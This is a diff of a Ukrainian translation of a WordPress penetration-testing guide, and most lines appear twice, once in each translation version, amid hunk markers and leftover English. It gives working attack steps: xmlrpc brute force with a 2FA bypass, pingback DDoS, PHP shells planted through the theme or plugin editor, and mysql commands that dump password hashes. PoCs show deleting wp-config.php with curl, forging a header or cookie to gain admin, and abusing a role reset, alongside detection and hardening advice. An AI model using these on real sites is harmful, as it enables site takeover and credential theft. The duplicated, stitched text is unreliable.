![](<../../images/image (721).png>)
Використовуючи правильні credentials, ви можете завантажити файл. У відповіді буде вказано шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
Також існує **швидший спосіб** brute-force облікових даних з використанням **`system.multicall`**, оскільки ви можете спробувати кілька облікових даних в одному запиті:
Також є **швидший спосіб** перебору облікових даних за допомогою **`system.multicall`**, оскільки можна спробувати кілька облікових даних в одному запиті:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Цей метод призначений для програм, а не для людей, і є застарілим, тому не підтримує 2FA. Отже, якщо у вас є валідні облікові дані, але основний вхід захищений 2FA, **ви можете зловживати xmlrpc.php для входу з цими обліковими даними, оминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\
Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** **звернутися** до одного **місця** (внаслідок чого в тому місці спричинюється **DDoS**) або ви можете використати це, щоб змусити **Wordpress** **сканувати** внутрішню **мережу** (можна вказати будь-який порт).
Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** звернутися до однієї **локації** (внаслідок чого там виникне **DDoS**) або застосувати це, щоб змусити **Wordpress** сканувати внутрішню **мережу** (можна вказати будь-який порт).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,7 +191,7 @@ This method is meant for programs and not for humans, and old, therefore it does
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Якщо ви отримаєте **faultCode** зі значенням **більше, ніж** **0** (17), це означає, що порт відкритий.
Якщо ви отримаєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий.
Погляньте на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
@ -210,10 +210,10 @@ This method is meant for programs and not for humans, and old, therefore it does
### wp-cron.php DoS
Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\
Під час доступу до цього файлу виконується «важкий» MySQL **query**, тому він може бути використаний зловмисниками для спричинення **DoS**.\
Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричинити проблеми (DoS).
При зверненні до цього файлу виконується **важкий** MySQL **запит**, тому він може бути використаний зловмисниками для спричинення **DoS**.\
До того ж, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може спричинити проблеми (DoS).
Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії з регулярним інтервалом (без створення проблем).
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії через регулярні інтервали (без створення проблем).
### /wp-json/oembed/1.0/proxy - SSRF
@ -230,32 +230,32 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Цей інструмент перевіряє наявність **methodName: pingback.ping** та шляху **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** і шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
## Автоматизовані інструменти
## Автоматичні інструменти
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Отримати доступ шляхом перезапису біту
## Отримати доступ, перезаписавши біт
Скоріше курйоз, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому файлі wordpress. Тому можна було змінити біт у позиції `5389` файлу `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`).
Більше схоже на цікавинку, ніж на реальну атаку. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому wordpress файлі. Тому можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **Панель RCE**
**Зміна php у використовуваній темі (потрібні облікові дані адміністратора)**
**Зміна php-файлу теми, що використовується (admin credentials needed)**
Appearance → Theme Editor → 404 Template (справа)
Зовнішній вигляд → Редактор тем → 404 Template (праворуч)
Змініть вміст на php shell:
![](<../../images/image (384).png>)
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно зайти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -265,12 +265,12 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
щоб отримати сесію.
## Plugin RCE
## Плагін RCE
### PHP плагін
Може бути можливість завантажити .php файли як плагін.\
Створіть свій php backdoor, наприклад:
Може бути можливо завантажити .php файли як плагін.\
Створіть ваш php backdoor, наприклад:
![](<../../images/image (183).png>)
@ -282,78 +282,78 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (249).png>)
Клацніть на Procced:
Натисніть на Procced:
![](<../../images/image (70).png>)
Ймовірно, це нічого явно не покаже, але якщо перейти в Media, ви побачите ваш shell, який було завантажено:
Ймовірно, це нічого не покаже, але якщо перейти в Media, ви побачите завантажений shell:
![](<../../images/image (462).png>)
Відкрийте його і ви побачите URL для виконання reverse shell:
Відкривши його, ви побачите URL для виконання reverse shell:
![](<../../images/image (1006).png>)
### Завантаження та активація шкідливого плагіна
### Uploading and activating malicious plugin
Цей метод передбачає встановлення відомого вразливого шкідливого плагіна, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard наступним чином:
Цей метод передбачає встановлення шкідливого плагіна, відомого своєю вразливістю, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard таким чином:
1. **Plugin Acquisition**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Перейдіть у WordPress dashboard, потім `Dashboard > Plugins > Upload Plugin`.
1. **Отримання плагіна**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374).
2. **Встановлення плагіна**:
- Перейдіть до WordPress dashboard, потім в `Dashboard > Plugins > Upload Plugin`.
- Завантажте zip-файл завантаженого плагіна.
3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard.
4. **Exploitation**:
- Після встановлення і активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий своєю вразливістю.
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
3. **Активація плагіна**: Після успішного встановлення плагін потрібно активувати через dashboard.
4. **Експлуатація**:
- Після встановлення та активації плагін "reflex-gallery" можна експлуатувати, оскільки він відомий своєю вразливістю.
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши певні команди, можна встановити meterpreter сесію, що надасть несанкціонований доступ до сайту.
- Зауважте, що це лише один із багатьох методів експлуатації WordPress сайту.
Контент містить візуальні підказки, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Водночас важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і лише в легальному контексті, наприклад, у penetration testing з явною дозволеністю.
У матеріалі присутні зображення, що показують кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в правовому контексті, наприклад, під час penetration testing із явним дозволом.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**Для більш детальних кроків перегляньте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## Від XSS до RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Підтримує **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** та дозволяє:
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений ескалації уразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він **підтримує Wordpress версії 6.X.X, 5.X.X та 4.X.X і дозволяє:**
- _**Privilege Escalation:**_ Створює користувача в WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш кастомний плагін (backdoor) у WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш власний плагін (backdoor) у WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Редагувати вбудовані плагіни у WordPress.
- _**(RCE) Built-In Theme Edit:**_ Редагувати вбудовані теми у WordPress.
- _**(Custom) Custom Exploits:**_ Кастомні експлойти для сторонніх WordPress плагінів/тем.
- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для плагінів/тем сторонніх розробників WordPress.
## Після експлуатації
## Post Exploitation
Extract usernames and passwords:
Витягти імена користувачів та паролі:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Змінити пароль admin:
Змінити пароль адміністратора:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Плагіни Pentest
## Wordpress Plugins Pentest
### Поверхня атаки
Розуміння того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете побачити, яким чином плагін може відкривати функціональність у наведених нижче пунктах, а також приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Знання того, як Wordpress плагін може відкривати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете дізнатися, як плагін може відкривати функціональність у наведених нижче пунктах та знайти приклади вразливих плагінів в [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX-обробники. Вони можуть містити помилки в логіці, authorization або authentication. Крім того, досить часто ці функції базують і authentication, і authorization на наявності wordpress nonce, який **будь-який автентифікований у інстанції Wordpress користувач може мати** (незалежно від ролі).
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, часто ці функції базуватимуть як authentication, так і authorization на існуванні wordpress nonce, який **будь-який користувач, автентифікований в екземплярі Wordpress, може мати** (незалежно від ролі).
Ось функції, які можуть бути використані для надання доступу до функції в плагіні:
Це функції, які можна використовувати для відкриття функції в плагіні:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).**
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неаутентифікованих).**
> [!CAUTION]
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- **REST API**
Також можливо експонувати функції з wordpress, реєструючи REST API за допомогою функції `register_rest_route`:
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` — callback-функція, яка перевіряє, чи авторизований даний користувач для виклику API-методу.
The `permission_callback` — callback-функція, яка перевіряє, чи уповноважений певний користувач викликати метод API.
**Якщо використовується вбудована функція `__return_true`, вона просто пропускає перевірку прав користувача.**
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**
- **Прямий доступ до php-файлу**
Звісно, Wordpress використовує PHP, і файли всередині плагінів напряму доступні з вебу. Тож якщо плагін експонує вразливу функціональність, яка активується просто при доступі до файлу, її зможе експлуатувати будь-який користувач.
Звісно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Тому, якщо плагін відкриває будь-яку вразливу функціональність, яка запускається просто при доступі до файлу, її зможе експлуатувати будь-який користувач.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Деякі плагіни реалізують ярлики «trusted header» для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, атакуючий може його підробити і звертатися до привілейованих REST-маршрутів як адміністратор.
Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxy і потім використовують цей header для встановлення поточного контексту користувача для REST-запитів. Якщо header не прив'язаний криптографічно до запиту на upstream-компоненті, зловмисник може спуфити його й звертатися до привілейованих REST маршрутів як адміністратор.
- Impact: неавтентифіковане підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (змушує user ID 1, зазвичай перший обліковий запис адміністратора).
- Exploited route: `POST /wp-json/wp/v2/users` з масивом підвищених ролей.
- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -393,30 +393,30 @@ Content-Length: 114
```
Чому це працює
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації та пропускає перевірки capability.
- WordPress core очікує `create_users` capability для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка.
- Плагін відображає header, контрольований клієнтом, на стан автентифікації і пропускає перевірки capability.
- WordPress core очікує здатність `create_users` для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка.
Очікувані ознаки успіху
- HTTP 201 з JSON-тілом, що описує створеного користувача.
- Новий обліковий запис адміністратора видно в `wp-admin/users.php`.
- Новий адміністратор помітний у `wp-admin/users.php`.
Контрольний список виявлення
Чекліст виявлення
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST handler-ів, які захищені лише значеннями заголовків.
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки щоб встановити контекст користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і замість цього покладаються на заголовки запиту.
- Шукайте використання core-функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, які є обмеженими тільки значеннями заголовків.
Зміцнення
Посилення безпеки
- Ніколи не витягувати аутентифікацію чи авторизацію з заголовків, контрольованих клієнтом.
- Якщо reverse proxy повинно інжектити ідентичність, завершіть довіру на проксі та видаляйте вхідні копії (e.g., `unset X-Wcpay-Platform-Checkout-User` на edge), потім передавайте підписаний токен і перевіряйте його на сервері.
- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та суворого `permission_callback` (do NOT use `__return_true`).
- Надавайте перевагу першопартійному auth (cookies, application passwords, OAuth) замість видавання користувача через заголовки.
- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом.
- Якщо reverse proxy має інжектувати ідентичність, припиніть довіру на проксі та видаліть вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на межі), потім передавайте підписаний токен і валідуйте його на сервері.
- Для REST-маршрутів, що виконують привілейовані дії, вимагаються перевірки `current_user_can()` і строгий `permission_callback` (НЕ використовуйте `__return_true`).
- Віддавайте перевагу першокласній автентифікації (cookies, application passwords, OAuth) замість імперсонації через заголовки.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
### Неавторизоване довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
@ -443,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Проблеми, що виникають через цей фрагмент:
Проблеми, викликані цим фрагментом:
* **Неавтентифікований доступ** зареєстровано `wp_ajax_nopriv_` hook.
* **Відсутня перевірка nonce / capability check** будь‑який відвідувач може звернутися до endpoint.
* **Відсутня санітизація шляху** рядок, контрольований користувачем, `fontfamily` конкатенується до файлового шляху без фільтрації, що дозволяє класичний `../../` traversal.
* **Неавтентифікований доступ** зареєстровано хук `wp_ajax_nopriv_`.
* **Відсутня перевірка nonce / capability** будь-який відвідувач може звернутися до endpoint.
* **Немає санітизації шляху** рядок під контролем користувача `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal.
#### Експлуатація
#### Exploitation
Атакувальник може видалити будь‑який файл або каталог **нижче базового каталогу uploads** (звичайно `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST запит:
Зловмисник може видалити будь-який файл або каталог **нижче базового каталогу uploads**азвичай `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST-запит:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Оскільки `wp-config.php` знаходиться за межами *uploads*, на типовій інсталяції достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` переведе WordPress при наступному відвідуванні в *майстер встановлення*, що дозволяє повне захоплення сайту (атакуючий лише надає нову конфігурацію бази даних і створює обліковий запис адміністратора).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
Інші значущі цілі включають файли плагінів/тем `.php` (щоб порушити роботу плагінів безпеки) або правила `.htaccess`.
#### Detection checklist
* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові допоміжні функції (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
* Конкатенація нефільтрованого вводу користувача в шляхи (див. `$_POST`, `$_GET`, `$_REQUEST`).
* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові хелпери (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
* Конкатенація неналежно очищених даних користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
#### Hardening
#### Посилення безпеки
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Завжди** ставтеся до будь-якої операції запису/видалення на диску як до привілейованої та перевіряйте двічі:
> • Аутентифікація • Авторизація • Nonce • Санітизація вводу • Контроль належності шляху (наприклад через `realpath()` плюс `str_starts_with()`).
> **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою та двічі перевіряйте:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities та дійсного nonce, це перетворюється на вертикальне privilege escalation.
Багато плагінів реалізують функцію "view as role" або тимчасову зміну ролі, зберігаючи оригінальні роль(і) в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і на список, який підтримує плагін, без перевірки capabilities і валідного nonce, це стає vertical privilege escalation.
Реальний приклад було знайдено в Admin and Site Enhancements (ASE) плагіні (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача містилося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` і не перевіряла nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
Реальний приклад було знайдено у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>` якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні верифікації nonce перед видаленням поточних ролей і повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Why its exploitable
Чому це можна експлуатувати
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, звернувшись до шляху скидання.
- У деяких розгортаннях будь-який авторизований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації).
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера.
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, звернувшись до шляху скидання.
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (пошкоджена авторизація).
Attack prerequisites
- Уразлива версія плагіна з увімкненою функцією.
- Вразлива версія плагіна з увімкненою функцією.
- Цільовий акаунт має застарілу роль з високими привілеями, збережену в user meta від попереднього використання.
- Будь-яка авторизована сесія; відсутній nonce/capability у потоці скидання.
- Будь-яка автентифікована сесія; відсутній nonce/capability у потоці скидання.
Exploitation (example)
Експлуатація (приклад)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,34 +531,34 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
На вразливих збірках це видаляє поточні ролі та повторно додає збережені «original roles» (наприклад, `administrator`), фактично підвищуючи привілеї.
Detection checklist
- Шукайте функції перемикання ролей, які зберігають “original roles” у user meta (наприклад, `_asenha_view_admin_as_original_roles`).
- Виявляйте шляхи скидання/відновлення, які:
- Шукайте функції перемикання ролей, що зберігають «original roles» в user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Визначте шляхи скидання/відновлення, які:
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
- Змінюють ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей виконавця.
- Змінюють ролі за допомогою `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`.
- Авторизують на основі масиву опцій плагіна (e.g., `viewing_admin_as_role_are`) замість можливостей актора.
Hardening
- Застосовуйте перевірки прав доступу на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
- Вимагайте nonces для всіх змін ролей/дозволів і перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
- Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі аутентифікованого виконавця та явної політики.
- Анулюйте стан “original roles” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
- Примусово перевіряйте можливості в кожному блоці, що змінює стан (e.g., `current_user_can('manage_options')` or stricter).
- Вимагайте nonces для всіх змін ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
- Ніколи не довіряйте іменам користувачів, отриманим із запиту; визначайте цільового користувача на сервері на основі автентифікованого актора та чіткої політики.
- Анулюйте стан «original roles» при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів, захищених перевіркою прав доступу (capability), для тимчасових переключень ролей.
- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів із перевіркою capability для тимчасових переключень ролей.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Деякі плагіни підключають допоміжні функції user-switching до публічного хуку `init` і визначають ідентичність на основі cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неаутентифікований відвідувач може примусово увійти як довільний ID користувача.
Деякі плагіни прив'язують хелпери для перемикання користувачів до публічного хуку `init` і визначають ідентичність зі значення cookie, що контролюється клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти під довільним користувачем.
Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1):
```php
@ -589,13 +589,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
Чому це вразливо
Чому це вразливе
- Публічний `init` hook робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`).
- Ідентичність походить з клієнтської cookie, яку можна змінити (`original_user_id`).
- Прямий виклик `wp_set_auth_cookie($uid)` авторизує запитувача як цього користувача без будь-яких capability/nonce checks.
- Публічний хук `init` робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`).
- Ідентичність походить із cookie, яке можна змінити на клієнті (`original_user_id`).
- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як цього користувача без перевірок capability/nonce.
Експлуатація (без аутентифікації)
Експлуатація (без автентифікації)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -607,32 +607,32 @@ Connection: close
### WAF considerations for WordPress/plugin CVEs
